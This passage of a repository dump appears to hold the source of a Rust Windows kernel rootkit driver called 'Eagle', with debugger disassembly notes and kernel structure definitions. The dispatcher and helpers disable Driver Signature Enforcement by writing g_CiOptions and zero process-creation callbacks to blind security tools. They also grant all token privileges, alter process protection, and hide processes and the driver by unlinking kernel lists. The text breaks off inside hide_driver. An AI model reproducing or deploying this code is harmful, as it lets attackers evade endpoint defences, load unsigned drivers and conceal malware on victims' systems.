[CI!wil_details_featureChangeNotification (fffff800`5a667c88)] 228 | fffff800`5a673430 4885c9 test rcx,rcx 229 | fffff800`5a673433 7414 je CI!CiInitialize+0x49 (fffff800`5a673449) 230 | fffff800`5a673435 4c8b15b4ccffff mov r10,qword ptr [CI!_imp_RtlUnregisterFeatureConfigurationChangeNotification (fffff800`5a6700f0)] 231 | fffff800`5a67343c e8ff33eafe call nt!RtlUnregisterFeatureConfigurationChangeNotification (fffff800`59516840) 232 | 0: kd> u 233 | CI!CiInitialize+0x41: 234 | fffff800`5a673441 4883253f48ffff00 and qword ptr [CI!wil_details_featureChangeNotification (fffff800`5a667c88)],0 235 | fffff800`5a673449 4c8bcb mov r9,rbx 236 | fffff800`5a67344c 4c8bc7 mov r8,rdi 237 | fffff800`5a67344f 488bd6 mov rdx,rsi 238 | fffff800`5a673452 8bcd mov ecx,ebp 239 | fffff800`5a673454 e8bb080000 call CI!CipInitialize (fffff800`5a673d14) 240 | fffff800`5a673459 488b5c2430 mov rbx,qword ptr [rsp+30h] 241 | fffff800`5a67345e 488b6c2438 mov rbp,qword ptr [rsp+38h] 242 | */ 243 | 244 | /* 245 | 0: kd> u CI!CipInitialize 246 | CI!CipInitialize: 247 | fffff800`5a673d14 48895c2408 mov qword ptr [rsp+8],rbx 248 | fffff800`5a673d19 48896c2410 mov qword ptr [rsp+10h],rbp 249 | fffff800`5a673d1e 4889742418 mov qword ptr [rsp+18h],rsi 250 | fffff800`5a673d23 57 push rdi 251 | fffff800`5a673d24 4154 push r12 252 | fffff800`5a673d26 4156 push r14 253 | fffff800`5a673d28 4883ec40 sub rsp,40h 254 | fffff800`5a673d2c 498be9 mov rbp,r9 255 | 0: kd> u 256 | CI!CipInitialize+0x1b: 257 | fffff800`5a673d2f 890d8346ffff mov dword ptr [CI!g_CiOptions (fffff800`5a6683b8)],ecx 258 | fffff800`5a673d35 498bd8 mov rbx,r8 259 | fffff800`5a673d38 488bf2 mov rsi,rdx 260 | fffff800`5a673d3b 448bf1 mov r14d,ecx 261 | fffff800`5a673d3e 4c8b15cbc3ffff mov r10,qword ptr [CI!_imp_PsGetCurrentProcess (fffff800`5a670110)] 262 | fffff800`5a673d45 e866677cfe call nt!PsGetCurrentProcess (fffff800`58e3a4b0) 263 | fffff800`5a673d4a 488905a746ffff mov qword ptr [CI!g_CiSystemProcess (fffff800`5a6683f8)],rax 264 | fffff800`5a673d51 813be8000000 cmp dword ptr [rbx],0E8h 265 | 266 | */ -------------------------------------------------------------------------------- /driver/src/includes/mod.rs: -------------------------------------------------------------------------------- 1 | use modular_bitfield::bitfield; 2 | use modular_bitfield::specifiers::B3; 3 | use modular_bitfield::specifiers::B1; 4 | use modular_bitfield::specifiers::B4; 5 | use winapi::{shared::{ntdef::{HANDLE, BOOLEAN, NTSTATUS, ULONG, PVOID, PCUNICODE_STRING, UNICODE_STRING, LARGE_INTEGER, LIST_ENTRY, CSHORT}, basetsd::SIZE_T, minwindef::{USHORT, PULONG}}, km::wdm::{KEVENT, KSPIN_LOCK, PDEVICE_OBJECT, PEPROCESS}, um::winnt::PACCESS_TOKEN, ctypes::c_void}; 6 | 7 | #[link(name = "aux_klib", kind = "static")] 8 | extern "system" { 9 | pub fn AuxKlibInitialize() -> NTSTATUS; 10 | pub fn AuxKlibQueryModuleInformation(buffer_size: *mut u32, element_size: u32, query_info: *mut c_void) -> NTSTATUS; 11 | } 12 | 13 | #[repr(C)] 14 | pub enum SystemInformationClass { 15 | SystemModuleInformation = 11, 16 | } 17 | 18 | #[link(name = "ntoskrnl")] 19 | extern "system" { 20 | #[allow(dead_code)] 21 | pub fn MmIsAddressValid(virtual_address: PVOID) -> bool; 22 | 23 | pub fn PsLookupProcessByProcessId(process_id: HANDLE, process: *mut PEPROCESS) -> NTSTATUS; 24 | 25 | pub fn PsReferencePrimaryToken(process: PEPROCESS) -> PACCESS_TOKEN; 26 | 27 | pub fn PsDereferencePrimaryToken(primary_token: PACCESS_TOKEN); 28 | 29 | pub fn ObfDereferenceObject(object: PVOID); 30 | 31 | pub fn MmGetSystemRoutineAddress(system_routine_name: *mut UNICODE_STRING) -> PVOID; 32 | 33 | pub fn PsGetCurrentProcess() -> HANDLE; 34 | } 35 | 36 | extern "system" { 37 | pub fn ZwQuerySystemInformation(system_information_class: SystemInformationClass, system_information: PVOID, system_information_length: ULONG, return_length: PULONG) -> NTSTATUS; 38 | } 39 | 40 | 41 | extern "C" { 42 | pub fn strlen(s: *const i8) -> usize; 43 | pub fn strstr(haystack: *const u8, needle: *const u8) -> *const u8; 44 | } 45 | 46 | #[repr(C)] 47 | #[derive(Debug, Clone, Copy)] 48 | pub struct SystemModule { 49 | pub section: *mut c_void, 50 | pub mapped_base: *mut c_void, 51 | pub image_base: *mut c_void, 52 | pub size: u32, 53 | pub flags: u32, 54 | pub index: u8, 55 | pub name_length: u8, 56 | pub load_count: u8, 57 | pub path_length: u8, 58 | pub image_name: [u8; 256], 59 | } 60 | 61 | #[repr(C)] 62 | #[derive(Debug, Clone, Copy)] 63 | pub struct SystemModuleInformation { 64 | pub modules_count: u32, 65 | pub modules: [SystemModule; 256], 66 | } 67 | 68 | #[repr(C)] 69 | #[derive(Debug, Clone, Copy)] 70 | pub struct ProcessPrivileges { 71 | pub present: [u8; 8], 72 | pub enabled: [u8; 8], 73 | pub enabled_by_default: [u8; 8], 74 | } 75 | 76 | #[repr(C)] 77 | #[bitfield] 78 | #[derive(Debug, Clone, Copy)] 79 | pub struct PSProtection { 80 | pub protection_type: B3, 81 | pub protection_audit: B1, 82 | pub protection_signer: B4, 83 | } 84 | 85 | 86 | #[repr(C)] 87 | #[derive(Debug, Clone, Copy)] 88 | pub struct ProcessProtectionInformation { 89 | pub signature_level: u8, 90 | pub section_signature_level: u8, 91 | pub protection: PSProtection, 92 | } 93 | 94 | 95 | #[repr(C)] 96 | #[derive(Debug, Clone, Copy)] 97 | pub struct ClientID { 98 | pub unique_process: HANDLE, 99 | pub unique_thread: HANDLE, 100 | } 101 | 102 | #[repr(C)] 103 | #[derive(Debug, Clone, Copy)] 104 | pub struct ImageInfoProperties { 105 | pub image_address_mode: ULONG, 106 | pub system_mode_image: ULONG, 107 | pub image_mapped_to_all_pids: ULONG, 108 | pub extended_info_present: ULONG, 109 | pub machine_type_mismatch: ULONG, 110 | pub image_signature_level: ULONG, 111 | pub image_signature_type: ULONG, 112 | pub image_partial_map: ULONG, 113 | pub reserved: ULONG, 114 | } 115 | 116 | #[repr(C)] 117 | #[derive(Clone, Copy)] 118 | pub union ImageInfo0 { 119 | pub properties: ULONG, 120 | pub param0: ImageInfoProperties, 121 | } 122 | 123 | #[repr(C)] 124 | pub struct ImageInfo { 125 | pub param0: ImageInfo0, 126 | pub image_base: PVOID, 127 | pub image_selector: ULONG, 128 | pub image_size: SIZE_T, 129 | pub image_section_number: ULONG, 130 | } 131 | 132 | #[repr(C)] 133 | pub struct VPB { 134 | pub ttype: CSHORT, 135 | pub size: CSHORT, 136 | pub flags: USHORT, 137 | pub volume_label_length: USHORT, 138 | pub device_object: PDEVICE_OBJECT, 139 | pub real_device: PDEVICE_OBJECT, 140 | pub serial_number: ULONG, 141 | pub reference_count: ULONG, 142 | pub volume_label: [u16; 32], 143 | } 144 | 145 | #[repr(C)] 146 | pub struct IoCompletionContext { 147 | pub port: PVOID, 148 | pub key: PVOID, 149 | } 150 | 151 | #[repr(C)] 152 | pub struct SectionObjectPointers { 153 | pub data_section_object: PVOID, 154 | pub shared_cache_map: PVOID, 155 | pub image_section_object: PVOID, 156 | } 157 | 158 | #[repr(C)] 159 | pub struct FileObject { 160 | pub ttype: CSHORT, 161 | pub size: CSHORT, 162 | pub device_object: PDEVICE_OBJECT, 163 | pub vpb: *mut VPB, 164 | pub fs_context: PVOID, 165 | pub fs_context32: PVOID, 166 | pub section_object_pointer: *mut SectionObjectPointers, 167 | pub private_cache_map: PVOID, 168 | pub final_status: NTSTATUS, 169 | pub related_file_object: *mut FileObject, 170 | pub lock_operation: BOOLEAN, 171 | pub delete_pending: BOOLEAN, 172 | pub read_access: BOOLEAN, 173 | pub write_access: BOOLEAN, 174 | pub delete_access: BOOLEAN, 175 | pub shared_read: BOOLEAN, 176 | pub shared_write: BOOLEAN, 177 | pub shared_delete: BOOLEAN, 178 | pub flags: ULONG, 179 | pub file_name: UNICODE_STRING, 180 | pub current_byte_offset: LARGE_INTEGER, 181 | pub waiters: ULONG, 182 | pub busy: ULONG, 183 | pub last_lock: PVOID, 184 | pub lock: KEVENT, 185 | pub event: KEVENT, 186 | pub completion_context: *mut IoCompletionContext, 187 | pub irp_list_lock: KSPIN_LOCK, 188 | pub irp_list: LIST_ENTRY, 189 | pub file_object_extension: PVOID, 190 | } 191 | 192 | #[repr(C)] 193 | #[derive(Debug, Clone, Copy)] 194 | pub struct PSCreateNotifyInfo00 { 195 | pub file_open_available: ULONG, 196 | pub is_subsystem_process: ULONG, 197 | pub reserved: ULONG, 198 | } 199 | 200 | #[repr(C)] 201 | pub union PSCreateNotifyInfo0 { 202 | pub flags: ULONG, 203 | pub param0: PSCreateNotifyInfo00, 204 | } 205 | 206 | #[repr(C)] 207 | pub struct PSCreateNotifyInfo { 208 | pub size: SIZE_T, 209 | pub param0: PSCreateNotifyInfo0, 210 | pub parent_process_id: HANDLE, 211 | pub creating_thread_id: ClientID, 212 | pub file_object: *mut FileObject, 213 | pub image_file_name: PCUNICODE_STRING, 214 | pub command_line: PCUNICODE_STRING, 215 | pub creation_status: NTSTATUS, 216 | } 217 | 218 | 219 | #[repr(C)] 220 | #[derive(Debug, Clone, Copy)] 221 | pub struct AuxModuleBasicInfo { 222 | pub image_base: *mut c_void, 223 | } 224 | 225 | #[repr(C)] 226 | #[derive(Debug, Clone, Copy)] 227 | pub struct AuxModuleExtendedInfo { 228 | pub basic_info: AuxModuleBasicInfo, 229 | pub image_size: u32, 230 | pub file_name_offset: u16, 231 | pub full_path_name: [u8; 256], 232 | } -------------------------------------------------------------------------------- /driver/src/lib.rs: -------------------------------------------------------------------------------- 1 | #![no_std] 2 | #![feature(alloc_c_string)] 3 | #![feature(core_c_str)] 4 | 5 | 6 | mod string; 7 | mod process; 8 | mod token; 9 | mod callbacks; 10 | pub mod includes; 11 | mod dse; 12 | 13 | 14 | use core::{panic::PanicInfo, mem::{size_of}}; 15 | use core::ptr::null_mut; 16 | use dse::get_gci_options_address; 17 | use kernel_alloc::nt::ExFreePool; 18 | use winapi::{km::wdm::IO_PRIORITY::IO_NO_INCREMENT, shared::ntstatus::{STATUS_BUFFER_TOO_SMALL, STATUS_INVALID_PARAMETER}}; 19 | use winapi::km::wdm::{DRIVER_OBJECT, IoCreateDevice, PDEVICE_OBJECT, IoCreateSymbolicLink, IRP_MJ, DEVICE_OBJECT, IRP, IoCompleteRequest, IoGetCurrentIrpStackLocation, IoDeleteSymbolicLink, IoDeleteDevice, DEVICE_TYPE}; 20 | use winapi::shared::ntdef::{NTSTATUS, UNICODE_STRING, FALSE, NT_SUCCESS, TRUE}; 21 | use winapi::shared::ntstatus::{STATUS_SUCCESS, STATUS_UNSUCCESSFUL}; 22 | use common::{IOCTL_PROCESS_PROTECT_REQUEST, IOCTL_PROCESS_UNPROTECT_REQUEST, IOCTL_PROCESS_TOKEN_PRIVILEGES_REQUEST, IOCTL_CALLBACKS_ENUM_REQUEST, IOCTL_CALLBACKS_ZERO_REQUEST, IOCTL_DSE_ENABLE_DISABLE_REQUEST, IOCTL_PROCESS_HIDE_REQUEST, IOCTL_DRIVER_HIDE_REQUEST, CallBackInformation, TargetProcess, TargetCallback, DriverSignatureEnforcement, IOCTL_DRIVER_ENUM_REQUEST, ModuleInformation}; 23 | use crate::{callbacks::{PsSetCreateProcessNotifyRoutineEx, process_create_callback, PcreateProcessNotifyRoutineEx, search_loaded_modules, get_loaded_modules}, process::{find_psp_set_create_process_notify, hide::{hide_process, hide_driver, get_kernel_loaded_modules}}}; 24 | use crate::process::{protect_process, unprotect_process}; 25 | use crate::string::create_unicode_string; 26 | use crate::token::enable_all_token_privileges; 27 | extern crate alloc; 28 | use kernel_log::KernelLogger; 29 | use log::{LevelFilter}; 30 | 31 | 32 | /// When using the alloc crate it seems like it does some unwinding. Adding this 33 | /// export satisfies the compiler but may introduce undefined behaviour when a 34 | /// panic occurs. 35 | #[no_mangle] 36 | pub extern "system" fn __CxxFrameHandler3(_: *mut u8, _: *mut u8, _: *mut u8, _: *mut u8) -> i32 { unimplemented!() } 37 | 38 | #[global_allocator] 39 | static GLOBAL: kernel_alloc::KernelAlloc = kernel_alloc::KernelAlloc; 40 | 41 | /// Explanation can be found here: https://github.com/Trantect/win_driver_example/issues/4 42 | #[export_name = "_fltused"] 43 | static _FLTUSED: i32 = 0; 44 | 45 | #[panic_handler] 46 | fn panic(_info: &PanicInfo) -> ! { 47 | loop {} 48 | } 49 | 50 | #[no_mangle] 51 | pub extern "system" fn driver_entry(driver: &mut DRIVER_OBJECT, _: &UNICODE_STRING) -> NTSTATUS { 52 | KernelLogger::init(LevelFilter::Info).expect("Failed to initialize logger"); 53 | 54 | log::info!("Driver Entry called"); 55 | 56 | driver.DriverUnload = Some(driver_unload); 57 | 58 | driver.MajorFunction[IRP_MJ::CREATE as usize] = Some(dispatch_create_close); 59 | driver.MajorFunction[IRP_MJ::CLOSE as usize] = Some(dispatch_create_close); 60 | driver.MajorFunction[IRP_MJ::DEVICE_CONTROL as usize] = Some(dispatch_device_control); 61 | 62 | let device_name = create_unicode_string(obfstr::wide!("\\Device\\Eagle\0")); 63 | let mut device_object: PDEVICE_OBJECT = null_mut(); 64 | let mut status = unsafe { 65 | IoCreateDevice( 66 | driver, 67 | 0, 68 | &device_name, 69 | DEVICE_TYPE::FILE_DEVICE_UNKNOWN, 70 | 0, 71 | FALSE, 72 | &mut device_object 73 | ) 74 | }; 75 | 76 | if !NT_SUCCESS(status) { 77 | log::error!("Failed to create device object ({:#x})", status); 78 | return status; 79 | } 80 | 81 | let symbolic_link = create_unicode_string(obfstr::wide!("\\??\\Eagle\0")); 82 | status = unsafe { IoCreateSymbolicLink(&symbolic_link, &device_name) }; 83 | 84 | if !NT_SUCCESS(status) { 85 | log::error!("Failed to create symbolic link ({:#x})", status); 86 | return status; 87 | } 88 | 89 | //ProcessNotify (called when a process is created) 90 | unsafe { PsSetCreateProcessNotifyRoutineEx(process_create_callback as PcreateProcessNotifyRoutineEx, FALSE) }; 91 | 92 | 93 | return STATUS_SUCCESS; 94 | } 95 | 96 | 97 | pub extern "system" fn dispatch_device_control(device_object: &mut DEVICE_OBJECT, irp: &mut IRP) -> NTSTATUS { 98 | 99 | let stack = IoGetCurrentIrpStackLocation(irp); 100 | let control_code = unsafe { (*stack).Parameters.DeviceIoControl().IoControlCode }; 101 | let mut status = STATUS_SUCCESS; 102 | let mut information: usize = 0; 103 | 104 | match control_code { 105 | IOCTL_PROCESS_PROTECT_REQUEST => { 106 | log::info!("IOCTL_PROCESS_PROTECT_REQUEST"); 107 | 108 | if unsafe { (*stack).Parameters.DeviceIoControl().InputBufferLength < size_of::() as u32 } { 109 | status = STATUS_BUFFER_TOO_SMALL; 110 | log::error!("STATUS_BUFFER_TOO_SMALL"); 111 | return complete_request(irp, status, information); 112 | } 113 | 114 | let target_process = unsafe { (*stack).Parameters.DeviceIoControl().Type3InputBuffer as *mut TargetProcess }; 115 | let protect_process_status = protect_process(target_process); 116 | 117 | if NT_SUCCESS(protect_process_status) { 118 | log::info!("Process protection successful"); 119 | information = size_of::(); 120 | status = STATUS_SUCCESS; 121 | } else { 122 | log::error!("Process protection failed"); 123 | status = STATUS_UNSUCCESSFUL; 124 | } 125 | }, 126 | IOCTL_PROCESS_UNPROTECT_REQUEST => { 127 | log::info!("IOCTL_PROCESS_UNPROTECT_REQUEST"); 128 | 129 | if unsafe { (*stack).Parameters.DeviceIoControl().InputBufferLength < size_of::() as u32 } { 130 | status = STATUS_BUFFER_TOO_SMALL; 131 | log::error!("STATUS_BUFFER_TOO_SMALL"); 132 | return complete_request(irp, status, information); 133 | } 134 | 135 | let target_process = unsafe { (*stack).Parameters.DeviceIoControl().Type3InputBuffer as *mut TargetProcess }; 136 | let unprotect_process_status = unprotect_process(target_process); 137 | 138 | if NT_SUCCESS(unprotect_process_status) { 139 | log::info!("Process unprotection successful"); 140 | information = size_of::(); 141 | status = STATUS_SUCCESS; 142 | } else { 143 | log::error!("Process unprotection failed"); 144 | status = STATUS_UNSUCCESSFUL; 145 | } 146 | }, 147 | IOCTL_PROCESS_TOKEN_PRIVILEGES_REQUEST => { 148 | log::info!("IOCTL_PROCESS_TOKEN_PRIVILEGES_REQUEST"); 149 | 150 | if unsafe { (*stack).Parameters.DeviceIoControl().InputBufferLength < size_of::() as u32 } { 151 | status = STATUS_BUFFER_TOO_SMALL; 152 | log::error!("STATUS_BUFFER_TOO_SMALL"); 153 | return complete_request(irp, status, information); 154 | } 155 | 156 | let target_process = unsafe { (*stack).Parameters.DeviceIoControl().Type3InputBuffer as *mut TargetProcess }; 157 | let token_privs_status = enable_all_token_privileges(target_process); 158 | 159 | if NT_SUCCESS(token_privs_status) { 160 | log::info!("Process token privileges successful"); 161 | information = size_of::(); 162 | status = STATUS_SUCCESS; 163 | } else { 164 | log::error!("Process token privileges failed"); 165 | status = STATUS_UNSUCCESSFUL; 166 | } 167 | }, 168 | IOCTL_CALLBACKS_ENUM_REQUEST => { 169 | log::info!("IOCTL_PROCESS_ENUM_CALLBACKS"); 170 | 171 | let (modules, number_of_modules) = get_loaded_modules().expect("[-] Failed to get loaded modules"); 172 | let psp_array_address = find_psp_set_create_process_notify().expect("[-] Failed to find PspSetCreateProcessNotifyRoutine array address"); 173 | 174 | let user_buffer = irp.UserBuffer as *mut CallBackInformation; 175 | 176 | for i in 0..64 { 177 | let p_callback = unsafe { psp_array_address.cast::().offset(i * 8) }; 178 | let callback = unsafe { *(p_callback as *const u64) }; 179 | unsafe { (*user_buffer.offset(i)).pointer = callback }; 180 | 181 | if callback > 0 { 182 | let callback_info = unsafe { user_buffer.offset(i) }; 183 | search_loaded_modules(modules, number_of_modules, callback_info); 184 | information += size_of::(); 185 | } 186 | } 187 | 188 | log::info!("Enumerate callbacks successful"); 189 | unsafe { ExFreePool(modules as u64) }; 190 | status = STATUS_SUCCESS; 191 | }, 192 | IOCTL_CALLBACKS_ZERO_REQUEST => { 193 | log::info!("IOCTL_CALLBACKS_ZERO_REQUEST"); 194 | 195 | if unsafe { (*stack).Parameters.DeviceIoControl().InputBufferLength < size_of::() as u32 } { 196 | status = STATUS_BUFFER_TOO_SMALL; 197 | log::error!("STATUS_BUFFER_TOO_SMALL"); 198 | return complete_request(irp, status, information); 199 | } 200 | 201 | let target = unsafe { (*stack).Parameters.DeviceIoControl().Type3InputBuffer as *mut TargetCallback }; 202 | 203 | if target.is_null() { 204 | status = STATUS_INVALID_PARAMETER; 205 | log::error!("STATUS_INVALID_PARAMETER"); 206 | return complete_request(irp, status, information); 207 | } 208 | 209 | if unsafe { (*target).index < 0 || (*target).index > 64 } { 210 | status = STATUS_INVALID_PARAMETER; 211 | log::error!("STATUS_INVALID_PARAMETER"); 212 | return complete_request(irp, status, information); 213 | } 214 | 215 | let psp_array_address = find_psp_set_create_process_notify().expect("[-] Failed to find PspSetCreateProcessNotifyRoutine array address"); 216 | 217 | for i in 0..64 { 218 | if i == unsafe { (*target).index } { 219 | let p_callback = unsafe { psp_array_address.cast::().offset((i * 8) as isize) }; 220 | unsafe { *(p_callback as *mut u64) = 0 as u64 }; // Zero out the callback index 221 | information = size_of::(); 222 | status = STATUS_SUCCESS; 223 | break; 224 | } 225 | } 226 | log::info!("IOCTL_CALLBACKS_ZERO_REQUEST successful"); 227 | }, 228 | IOCTL_DSE_ENABLE_DISABLE_REQUEST => { 229 | log::info!("IOCTL_DSE_ENABLE_DISABLE_REQUEST"); 230 | 231 | if unsafe { (*stack).Parameters.DeviceIoControl().InputBufferLength < size_of::() as u32 } { 232 | status = STATUS_BUFFER_TOO_SMALL; 233 | log::error!("STATUS_BUFFER_TOO_SMALL"); 234 | return complete_request(irp, status, information); 235 | } 236 | 237 | if unsafe { (*stack).Parameters.DeviceIoControl().OutputBufferLength < size_of::() as u32 } { 238 | status = STATUS_BUFFER_TOO_SMALL; 239 | log::error!("STATUS_BUFFER_TOO_SMALL"); 240 | return complete_request(irp, status, information); 241 | } 242 | 243 | let dse = unsafe { (*stack).Parameters.DeviceIoControl().Type3InputBuffer as *mut DriverSignatureEnforcement }; 244 | let user_buffer = irp.UserBuffer as *mut DriverSignatureEnforcement; 245 | 246 | if dse.is_null() { 247 | status = STATUS_INVALID_PARAMETER; 248 | log::error!("STATUS_INVALID_PARAMETER"); 249 | return complete_request(irp, status, information); 250 | } 251 | 252 | let g_ci_option_address = get_gci_options_address().expect("Unable to get g_CiOptions address"); 253 | 254 | if unsafe { (*dse).is_enabled } { 255 | unsafe { *(g_ci_option_address as *mut u64) = 0x0006 as u64 }; // Enable DSE 256 | unsafe { (*user_buffer).address = *(g_ci_option_address as *mut u64) }; 257 | unsafe { (*user_buffer).is_enabled = true }; 258 | } else { 259 | unsafe { *(g_ci_option_address as *mut u64) = 0x000E as u64 }; // Disble DSE 260 | unsafe { (*user_buffer).address = *(g_ci_option_address as *mut u64) }; 261 | unsafe { (*user_buffer).is_enabled = false }; 262 | } 263 | 264 | log::info!("IOCTL_DSE_ENABLE_DISABLE_REQUEST successful"); 265 | 266 | information = size_of::(); 267 | status = STATUS_SUCCESS; 268 | }, 269 | IOCTL_PROCESS_HIDE_REQUEST => { 270 | log::info!("IOCTL_PROCESS_HIDE_REQUEST"); 271 | 272 | if unsafe { (*stack).Parameters.DeviceIoControl().InputBufferLength < size_of::() as u32 } { 273 | status = STATUS_BUFFER_TOO_SMALL; 274 | log::error!("STATUS_BUFFER_TOO_SMALL"); 275 | return complete_request(irp, status, information); 276 | } 277 | 278 | let target_process = unsafe { (*stack).Parameters.DeviceIoControl().Type3InputBuffer as *mut TargetProcess }; 279 | 280 | let process_id = unsafe { (*target_process).process_id }; 281 | log::info!("Process ID: {:?}", process_id); 282 | 283 | if let Ok(_result) = hide_process(process_id) { 284 | log::info!("Hide process successful"); 285 | information = size_of::(); 286 | status = STATUS_SUCCESS; 287 | } else { 288 | log::error!("Hide process failed"); 289 | status = STATUS_UNSUCCESSFUL; 290 | } 291 | }, 292 | IOCTL_DRIVER_HIDE_REQUEST => { 293 | log::info!("IOCTL_DRIVER_HIDE_REQUEST"); 294 | 295 | if let Ok(_result) = hide_driver(device_object) { 296 | log::info!("Driver hidden successful"); 297 | information = 0; 298 | status = STATUS_SUCCESS; 299 | } else { 300 | log::error!("Failed to hide driver"); 301 | status = STATUS_UNSUCCESSFUL; 302 | } 303 | }, 304 | IOCTL_DRIVER_ENUM_REQUEST => { 305 | log::info!("IOCTL_DRIVER_ENUM_REQUEST"); 306 | 307 | let user_buffer = irp.UserBuffer as *mut ModuleInformation; 308 | 309 | if let Ok(_result) = get_kernel_loaded_modules(user_buffer, &mut information) { 310 | log::info!("Loaded modules enumerate successfully"); 311 | status = STATUS_SUCCESS; 312 | } else { 313 | log::error!("Failed enumerate modules"); 314 | status = STATUS_UNSUCCESSFUL; 315 | } 316 | }, 317 | _ => { 318 | log::error!("Invalid IOCTL code"); 319 | status = STATUS_UNSUCCESSFUL; 320 | }, 321 | } 322 | 323 | return complete_request(irp, status, information); 324 | } 325 | 326 | fn complete_request(irp: &mut IRP, status: NTSTATUS, information: usize) -> NTSTATUS { 327 | unsafe { *(irp.IoStatus.__bindgen_anon_1.Status_mut()) = status }; 328 | irp.IoStatus.Information = information; 329 | unsafe { IoCompleteRequest(irp, IO_NO_INCREMENT) }; 330 | 331 | return status; 332 | } 333 | 334 | pub extern "system" fn dispatch_create_close(_device_object: &mut DEVICE_OBJECT, irp: &mut IRP) -> NTSTATUS { 335 | let stack = IoGetCurrentIrpStackLocation(irp); 336 | let code = unsafe { (*stack).MajorFunction }; 337 | 338 | if code == IRP_MJ::CREATE as u8 { 339 | log::info!("IRP_MJ_CREATE called"); 340 | } else { 341 | log::info!("IRP_MJ_CLOSE called"); 342 | } 343 | 344 | irp.IoStatus.Information = 0; 345 | unsafe { *(irp.IoStatus.__bindgen_anon_1.Status_mut()) = STATUS_SUCCESS }; 346 | 347 | unsafe { IoCompleteRequest(irp, IO_NO_INCREMENT) }; 348 | 349 | return STATUS_SUCCESS; 350 | } 351 | 352 | pub extern "system" fn driver_unload(driver: &mut DRIVER_OBJECT) { 353 | let symbolic_link = create_unicode_string(obfstr::wide!("\\??\\Eagle\0")); 354 | unsafe { IoDeleteSymbolicLink(&symbolic_link) }; 355 | unsafe { IoDeleteDevice(driver.DeviceObject) }; 356 | 357 | // Remove Callbacks (or BSOD) 358 | unsafe { PsSetCreateProcessNotifyRoutineEx(process_create_callback as PcreateProcessNotifyRoutineEx, TRUE) }; 359 | log::info!("Driver unloaded successfully!"); 360 | } -------------------------------------------------------------------------------- /driver/src/process/hide.rs: -------------------------------------------------------------------------------- 1 | use core::{mem::size_of, ptr::{addr_of_mut}, intrinsics::{transmute, copy_nonoverlapping}}; 2 | 3 | use common::ModuleInformation; 4 | use ntapi::ntldr::LDR_DATA_TABLE_ENTRY; 5 | use winapi::{shared::{ntdef::{LIST_ENTRY, UNICODE_STRING}}, km::wdm::{PEPROCESS, DEVICE_OBJECT, KIRQL}}; 6 | use crate::{includes::{PsGetCurrentProcess}, process::get_function_base_address, string::create_unicode_string}; 7 | 8 | 9 | 10 | /* 11 | kd> dt nt!_EPROCESS 12 | +0x000 Pcb : _KPROCESS 13 | +0x438 ProcessLock : _EX_PUSH_LOCK 14 | +0x440 UniqueProcessId : Ptr64 Void 15 | +0x448 ActiveProcessLinks : _LIST_ENTRY 16 | */ 17 | 18 | /* 19 | 0: kd> u PsGetProcessId 20 | nt!PsGetProcessId: 21 | fffff800`58e6ab30 488b8140040000 mov rax,qword ptr [rcx+440h] 22 | */ 23 | 24 | /// Get the offset to nt!_EPROCESS.UniqueProcessId 25 | fn get_unique_pid_offset() -> usize { 26 | let unicode_function_name = &mut create_unicode_string( 27 | obfstr::wide!("PsGetProcessId\0") 28 | ) as *mut UNICODE_STRING; 29 | 30 | let base_address = get_function_base_address(unicode_function_name); 31 | let function_bytes: &[u8] = unsafe { core::slice::from_raw_parts(base_address as *const u8, 5) }; 32 | 33 | let slice = &function_bytes[3..5]; 34 | let unique_pid_offset = u16::from_le_bytes(slice.try_into().unwrap()); 35 | log::info!("EPROCESS.UniqueProcessId: {:#x}", unique_pid_offset); 36 | 37 | return unique_pid_offset as usize; 38 | } 39 | 40 | pub fn hide_process(pid: u32) -> Result { 41 | //nt!_EPROCESS.UniqueProcessId 42 | let unique_process_id_offset: usize = get_unique_pid_offset(); 43 | 44 | //nt!_EPROCESS.ActiveProcessLinks 45 | let active_process_links_offset: usize = unique_process_id_offset + size_of::(); 46 | 47 | //The PsGetCurrentProcessId routine identifies the current thread's process. 48 | let mut current_eprocess = unsafe { PsGetCurrentProcess() }; 49 | 50 | log::info!("current_eprocess: {:?}", current_eprocess); 51 | 52 | if current_eprocess.is_null() { 53 | log::info!("Failed to call PsGetCurrentProcess"); 54 | return Err("Failed to call PsGetCurrentProcess"); 55 | } 56 | 57 | //ActiveProcessLinks: hardcoded offset as this has not changed through various version of windows 58 | let mut current_list = (current_eprocess as usize + active_process_links_offset) as *mut LIST_ENTRY; 59 | let mut current_pid = (current_eprocess as usize + unique_process_id_offset) as *mut u32; 60 | 61 | // Check if the current process ID is the one to hide 62 | if unsafe { (*current_pid) == pid } { 63 | remove_links(current_list); 64 | return Ok(true); 65 | } 66 | 67 | // This is the starting position 68 | let start_process: PEPROCESS = current_eprocess; 69 | 70 | // Iterate over the next EPROCESS structure of a process 71 | current_eprocess = unsafe { ((*current_list).Flink as usize - active_process_links_offset) as PEPROCESS }; 72 | current_pid = (current_eprocess as usize + unique_process_id_offset) as *mut u32; 73 | current_list = (current_eprocess as usize + active_process_links_offset) as *mut LIST_ENTRY; 74 | 75 | // Loop until the circle is complete or until the process ID is found 76 | while start_process as usize != current_eprocess as usize { 77 | 78 | // Check if the current process ID is the one to hide 79 | if unsafe { (*current_pid) == pid } { 80 | remove_links(current_list); 81 | return Ok(true); 82 | } 83 | 84 | // Iterate over the next EPROCESS structure of a process 85 | current_eprocess = unsafe { ((*current_list).Flink as usize - active_process_links_offset) as PEPROCESS }; 86 | current_pid = (current_eprocess as usize + unique_process_id_offset) as *mut u32; 87 | current_list = (current_eprocess as usize + active_process_links_offset) as *mut LIST_ENTRY; 88 | } 89 | 90 | 91 | return Ok(true); 92 | } 93 | 94 | fn remove_links(current: *mut LIST_ENTRY) { 95 | let previous = unsafe { (*current).Blink }; 96 | let next = unsafe { (*current).Flink }; 97 | 98 | unsafe { (*previous).Flink = next }; 99 | unsafe { (*next).Blink = previous }; 100 | 101 | // This will re-write the current LIST_ENTRY to point to itself to avoid BSOD 102 | unsafe { (*current).Blink = addr_of_mut!((*current).Flink).cast::() }; 103 | unsafe { (*current).Flink = addr_of_mut!((*current).Flink).cast::() }; 104 | } 105 | 106 | type FnKeRaiseIrqlToDpcLevel = unsafe extern "system" fn() -> KIRQL; 107 | type FnKeLowerIrql = unsafe extern "system" fn(new_irql: KIRQL); 108 | type FnKeGetCurrentIrql = unsafe extern "system" fn() -> KIRQL; 109 | 110 | pub fn hide_driver(device_object: &mut DEVICE_OBJECT) -> Result { 111 | 112 | //KeRaiseIrqlToDpcLevel 113 | let unicode_function_name = &mut create_unicode_string( 114 | obfstr::wide!("KeRaiseIrqlToDpcLevel\0") 115 | ) as *mut UNICODE_STRING; 116 | 117 | let 